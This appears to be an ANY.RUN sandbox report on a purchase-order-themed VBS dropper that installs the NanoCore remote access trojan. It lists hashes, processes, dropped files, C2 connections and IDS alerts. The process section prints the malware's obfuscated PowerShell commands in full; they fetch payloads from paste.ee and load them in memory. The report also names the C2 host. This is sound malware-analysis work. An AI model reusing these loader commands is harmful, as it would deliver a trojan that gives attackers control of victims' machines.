analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

PO-498475-ORDER.vbs

Full analysis: https://app.any.run/tasks/45db2134-676d-49b5-8df9-960ab0dd5531
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: November 30, 2020, 02:05:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

2BE0C13D5314EDAEF436B9A570E4C883

SHA1:

75B2AEB08A8582D671E1D8F5B7A214BE83667694

SHA256:

936B4F3700A18C11E50D94E1E22D0681E7C42EAF25DFF2B45D3E434B829B030E

SSDEEP:

96:eKKzp3pyDU16oDo1xYvXKUUMaaRZ1IKGJQ/P+I3+:ep3pMdUoKEKpP+I3+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • NANOCORE was detected

      • RegAsm.exe (PID: 3920)

    • Changes the autorun value in the registry

      • RegAsm.exe (PID: 3920)

    • Application was dropped or rewritten from another process

      • RegAsm.exe (PID: 3920)

    • Connects to CnC server

      • RegAsm.exe (PID: 3920)

  • SUSPICIOUS

    • Application launched itself

      • powershell.exe (PID: 752)

    • Creates files in the user directory

      • powershell.exe (PID: 2396)
      • powershell.exe (PID: 752)
      • RegAsm.exe (PID: 3920)

    • Executes PowerShell scripts

      • powershell.exe (PID: 752)
      • WScript.exe (PID: 1372)

    • Drops a file that was compiled in debug mode

      • RegAsm.exe (PID: 3920)

    • Executable content was dropped or overwritten

      • RegAsm.exe (PID: 3920)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 2396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs powershell.exe #NANOCORE regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
1372"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\PO-498475-ORDER.vbs"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
752"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$Codigo = 'JGRsbCA9ICcwL0FrTkQ0L3IvZWUuZXRzYXAvLzpzcHR0aCc7JFJ1bXBlRCA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCAkZGxsWy0xLi4tJGRsbC5MZW5ndGhdIC1qb2luICcnICk7W0J5dGVbXV0gJFJ1bXBlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJFJ1bXBlRFstMS4uLSRSdW1wZUQuTGVuZ3RoXSAtam9pbiAnJyApO1tSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkUnVtcGUpLkdldFR5cGUoJ2VudC5DbGFzczEnKS5HZXRNZXRob2QoJ1J1bicpLkludm9rZSgkbnVsbCwgW29iamVjdFtdXSAoJzAvZ3lyUFQvci9lZS5ldHNhcC8vOnNwdHRoJykp';$OWjuxD = [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String($Codigo) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2396"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$dll = '0/AkND4/r/ee.etsap//:sptth';$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );[Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('0/gyrPT/r/ee.etsap//:sptth'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3920"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.7.3062.0 built by: NET472REL1
Total events
652
Read events
515
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
6
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D5EQGQ7TAPXF7440MVNL.temp —
MD5:—
SHA256:—
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TBTGZ6R95IR5E3UJK9KK.temp —
MD5:—
SHA256:—
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13efa3.TMPbinary
MD5:6A4DD2AFE3AE71901499207B2E679221
SHA256:70FF1DC4A9544B62383FA8EB536826ECD74E8C8ED1658FED310C3A16CE01A451
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.dattext
MD5:2BF6892CCD11DAF499E77F9F20D50DC8
SHA256:C5F9D24A3BCB4D348B59C2B5B0A9512A150242A705F771253D5B96A25BD72A72
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6A4DD2AFE3AE71901499207B2E679221
SHA256:70FF1DC4A9544B62383FA8EB536826ECD74E8C8ED1658FED310C3A16CE01A451
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13f178.TMPbinary
MD5:6A4DD2AFE3AE71901499207B2E679221
SHA256:70FF1DC4A9544B62383FA8EB536826ECD74E8C8ED1658FED310C3A16CE01A451
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6A4DD2AFE3AE71901499207B2E679221
SHA256:70FF1DC4A9544B62383FA8EB536826ECD74E8C8ED1658FED310C3A16CE01A451
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\catalog.datbs
MD5:32D0AAE13696FF7F8AF33B2D22451028
SHA256:5347661365E7AD2C1ACC27AB0D150FFA097D9246BB3626FCA06989E976E8DD29
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\settings.binbinary
MD5:4E5E92E2369688041CC82EF9650EDED2
SHA256:F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\storage.datbinary
MD5:7E8F4A764B981D5B82D1CC49D341E9C6
SHA256:0BD3AAC12623520C4E2031C8B96B4A154702F36F97F643158E91E987D317B480
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3920
RegAsm.exe
79.134.225.11:5000
emisintl.com
Andreas Fink trading as Fink Telecom Services
CH
malicious
3920
RegAsm.exe
8.8.8.8:53
—
Google Inc.
US
whitelisted
2396
powershell.exe
104.18.48.20:443
paste.ee
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
paste.ee
  • 104.18.48.20
  • 104.18.49.20
  • 172.67.219.133
shared
emisintl.com
  • 79.134.225.11
malicious

Threats

PID
Process
Class
Message
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
23 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
PO-498475-ORDER.vbs